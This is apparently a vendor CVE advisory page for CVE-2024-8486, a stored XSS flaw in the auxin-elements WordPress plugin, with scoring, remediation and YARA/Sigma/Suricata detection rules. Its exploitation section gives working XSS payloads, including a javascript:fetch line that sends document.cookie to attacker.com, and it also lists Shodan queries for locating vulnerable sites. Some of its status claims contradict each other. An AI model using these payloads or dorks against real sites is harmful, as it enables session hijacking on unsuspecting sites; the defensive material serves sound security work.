☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-8486

CVE-2024-8486 Cross-Site Scripting in Auxin
📅 PUBLISHED: 2024-10-05 07:39 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-8486 is a Stored Cross-Site Scripting (XSS) vulnerability in the Shortcodes and extra features for Phlox theme WordPress plugin (auxin-elements). The flaw exists in the Modern Heading and Icon Picker widgets, where the url parameter is insufficiently sanitized and escaped. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts that execute when any user visits a compromised page. The CVSS score is 6.4 (Medium), and no public exploit or patch is currently available. This vulnerability poses a significant risk to WordPress sites using the Phlox theme, as it can lead to session hijacking, defacement, or malware distribution.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is a commercial product by Auxin, and the lack of a patch increases supply chain risk for sites relying on this component.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Requires Contributor-level authentication.
  • User Interaction (UI): None (N) – No user action needed for execution.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for widespread exploitation via stored scripts makes this a serious concern for WordPress administrators.

Deep Dive & Mechanics

The vulnerability resides in the auxin-elements plugin, specifically in the Modern Heading and Icon Picker widgets. These widgets allow users to input a URL via the url parameter. The plugin fails to properly sanitize and escape this input before storing it in the database and rendering it on the frontend.

Attack Flow:

  1. An authenticated user with Contributor-level access creates or edits a page/post.
  2. The user inserts a Modern Heading or Icon Picker widget and sets the url parameter to a malicious JavaScript payload, e.g., javascript:alert('XSS') or a data URI.
  3. The plugin stores the payload without sanitization.
  4. When any user (including administrators) visits the page, the payload executes in their browser context.

Root Cause: Insufficient input validation and output escaping. The plugin likely uses esc_url() incorrectly or not at all, allowing dangerous URL schemes like javascript: or data:.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (hypothetical)
$url = $_POST['url'];
echo '<a href="' . $url . '">Link</a>';

A patched version would use proper escaping:

// Patched code (hypothetical)
$url = esc_url($_POST['url'], array('http', 'https'));
echo '<a href="' . esc_url($url) . '">Link</a>';

The esc_url() function in WordPress strips dangerous schemes and encodes special characters. The patched version also restricts allowed protocols to http and https.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with Phlox theme and auxin-elements plugin <= 2.16.3.
  • Contributor-level account credentials.

Exploitation Steps:

  1. Log in as a Contributor.
  2. Create a new page or post.
  3. Add a Modern Heading or Icon Picker widget.
  4. In the url field, enter: javascript:alert(document.cookie)
  5. Publish the page.
  6. When any user visits the page, the JavaScript executes.

Advanced Payload:

javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)

Blue Team

Detection:

  • Monitor for pages/posts created by Contributor-level users containing suspicious href attributes.
  • Look for javascript: or data: schemes in the url parameter of auxin-elements widgets.

Prevention:

  • Disable the auxin-elements plugin until a patch is available.
  • Restrict Contributor-level users from using shortcodes or widgets.
  • Implement a Web Application Firewall (WAF) rule to block javascript: and data: URIs in POST parameters.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/auxin-elements/ (presence of vulnerable version)
  • Database: Rows in wp_posts or wp_postmeta containing javascript: or data: URIs in widget data.
  • Network: Outbound requests to attacker-controlled domains from compromised pages.
  • Logs: WordPress audit logs showing creation/editing of pages by Contributor users with unusual URL patterns.

Detection Engineering

YARA Rule

rule CVE_2024_8486_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in auxin-elements plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-8486"
    strings:
        $payload1 = "javascript:" ascii wide nocase
        $payload2 = "data:" ascii wide nocase
        $payload3 = "vbscript:" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-8486 Stored XSS in auxin-elements Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress auxin-elements plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains:
            - 'javascript:'
            - 'data:'
            - 'vbscript:'
    condition: selection
falsepositives:
    - Legitimate use of data URIs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8486 Stored XSS in auxin-elements"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=auxin_widget_save"; http_client_body; pcre:"/(javascript|data|vbscript):/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Review and remove any suspicious pages/posts created by Contributor users.
  3. Change all passwords for Contributor-level accounts.

Long-term Fix:

  • Monitor the Auxin plugin repository for an update.
  • Apply the patch as soon as it becomes available.
  • Implement a Content Security Policy (CSP) to block inline JavaScript.

Workaround:

  • Use a WordPress security plugin to block dangerous URL schemes.
  • Restrict Contributor roles from using shortcodes via user role editor.

Valters IT signature: This report is generated for educational and defensive purposes. Unauthorized exploitation is illegal.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Phlox"
http.html:"wp-content/plugins/auxin-elements"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-8486/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.